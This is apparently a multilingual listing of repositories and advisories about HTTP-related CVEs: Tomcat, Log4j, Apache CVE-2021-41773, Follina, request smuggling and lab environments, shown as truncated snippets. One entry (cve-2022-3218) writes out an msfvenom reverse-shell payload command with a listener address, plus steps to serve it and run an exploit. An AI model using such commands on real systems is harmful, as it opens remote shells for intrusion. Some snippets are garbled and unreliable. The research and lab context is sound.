node-poc-http-smuggling

Este repositorio nao tem um README...

BIT-TOMCAT-2026-65637 Apache Tomcat: HTTP/2 no-authority bypass of strict SNI validation - CVE-2026-32990 fix incomplete

Improper Input Validation vulnerability in Apache Tomcat due to incomplete fix for CVE-2026-32990. This issue affects Apache Tomcat: from 11.0.20 through 11.0.24, from 10.1.53 through 10.1.57, from 9.0.115 through 9.0.120. Users are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121,...

HTTP-2-Rapid-Reset-DDos

Attacco DoS Rapid Reset HTTP/2 Descrizione Questo progetto dimostra l'attacco Denial of Service DoS HTTP/2 Rapid Reset utilizzando una topologia di rete personalizzata creata con Containernet. L'attacco sfrutta vulnerabilità nel protocollo HTTP/2 per sopraffare un server di destinazione, rendendo...

cve-reproduction-lab

Laboratorio di riproduzione CVE Panoramica Questo progetto è un laboratorio di ricerca sulla cybersecurity progettato per dimostrare l'impatto reale delle vulnerabilità software attraverso lo sfruttamento controllato e la simulazione di patch difensive. Il laboratorio si concentra su...

CVE-2021-27905

CVE-2021-27905 Nº| Título ---|--- 1| Visão Geral 2| Causa Raiz 3| Prova de Conceito 4| Mitigação 8.8.2+ 5| Referência Apenas para fins educacionais e de pesquisa. Não use este código em sistemas que você não possui ou sem permissão explícita para testar. Não sou responsável por qualquer uso...

westone-CVE-2020-14883-scanner

westone-CVE-2020-14883-scanner Un attaccante remoto può costruire una richiesta HTTP speciale per assumere il controllo della Console di WebLogic Server senza autenticazione. Installazione e utilizzo git clone https://github.com/Osyanina/westone-CVE-2020-14883-scanner.git cd...

Follina-CVE-2022-30190-Sample

Follina-CVE-2022-30190-Sample-by-ethical-blue Strumento Educativo Follina Cronologia versioni v1.1 — Offuscamento del payload JavaScript v1.0 — Versione iniziale Caratteristiche Generatore di payload .RTF Semplice server HTTP per il payload Suggerimenti per mitigazione Estrattore di configurazion...

EUVD-2026-67719

This vulnerability exists in the CP Plus CP-XR-DE21-S Router due to the presence of hardcoded HTTP Digest authentication credentials in the firmware that are identical across all devices running the affected firmware. An attacker with access to the local network could exploit this vulnerability b...

CVE-2026-19412 Hardcoded Credentials Vulnerability in CP Plus CP-XR-DE21-S Router

This vulnerability exists in the CP Plus CP-XR-DE21-S Router due to the presence of hardcoded HTTP Digest authentication credentials in the firmware that are identical across all devices running the affected firmware. An attacker with access to the local network could exploit this vulnerability b...

CVE-2026-19412

CVE-2026-19412 affects the CP Plus CP-XR-DE21-S Router due to hardcoded HTTP Digest authentication credentials embedded in the firmware, which are identical across all devices running the affected firmware. An attacker with adjacent network access (no privileges required) can obtain these credent...

log4jcheck

Northwave Log4j CVE-2021-44228 जाँचकर्ता शुक्रवार, 10 दिसंबर 2021 को एक नया प्रूफ-ऑफ-कॉन्सेप्ट 1 प्रकाशित किया गया जो जावा लाइब्रेरी 'log4j' 2 में एक रिमोट कोड एक्जीक्यूशन RCE कमजोरी को संबोधित करता है। यह कमजोरी पहले से सॉफ्टवेयर के डेवलपर्स को प्रकट नहीं की गई थी। इस कमजोरी को CVE-2021-44228 3 ...

CVE-2024-23692

Vulnerabilità CVE-2024-23692 di Rejetto HFS HTTP File Server Panoramica Rejetto HFS HTTP File Server è un semplice server web per la condivisione di file che facilita la condivisione di file su una rete o su Internet. Nonostante la sua facilità d'uso e semplicità, è stata scoperta una vulnerabili...

cve-2022-3218

Passo 1 — Creare un payload REALE Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servire il payload via HTTP Nella stessa directory: python3 -m http.server 80 Passo 3 — Adattare l'exploit Esegui così: python3 CVE-2022-3218.py 172.20.7.18...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Lab Docker PoC Avviso di Sicurezza Questo repository riproduce una vulnerabilità pubblicamente divulgata e corretta in un ambiente di laboratorio Docker controllato, per scopi educativi e di ricerca. L'ambiente è intenzionalmente vulnerabile e deve essere distribuito solo ...

CVE-2021-41773

CVE-2021-41773 Ich habe einen POC von CVE-2021-41773 entwickelt , RCE + cgi-bin Path Traversal HINWEIS : GETESTET AUF APACHE2 2.4.49 Du kannst die verwundbare Apache2 2.4.49 direkt von Docker pullen root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p...

CVE-2026-82255

gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective U...

CVE-2026-82247

gitoxide's gix-url crate ?@ so that gitoxide sends the caller's HTTP Basic Authorization credentials to an unintended host. gix-transport is affected in versions = 0.49.0 fixed in 0.58.1...

CVE-2025-55315

CVE-2025-55315 Proof-of-concept Exploit für CVE-2025-55315 .NET HTTP Request Smuggling. Zeigt, wie fehlerhaft geparste Chunked-Encoding es Angreifern ermöglicht, Requests an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln. 📊 Präsentation Interaktive...

CVE-2022-21907

CVE-2022-21907 Descrizione root@kitploit: POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. creato da Malwareman il 2022-09-17. Dettagli root@kitploit: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. Simile a...

cve-2024-23113-test-env

CVE-2024-23113 Ambiente di Test FortiOS Un ambiente di test basato su Docker per validare i template Nuclei di CVE-2024-23113 contro istanze FortiOS vulnerabili simulate. 🔍 Panoramica Questo ambiente simula interfacce HTTP FortiOS vulnerabili per testare le capacità di rilevamento dei template...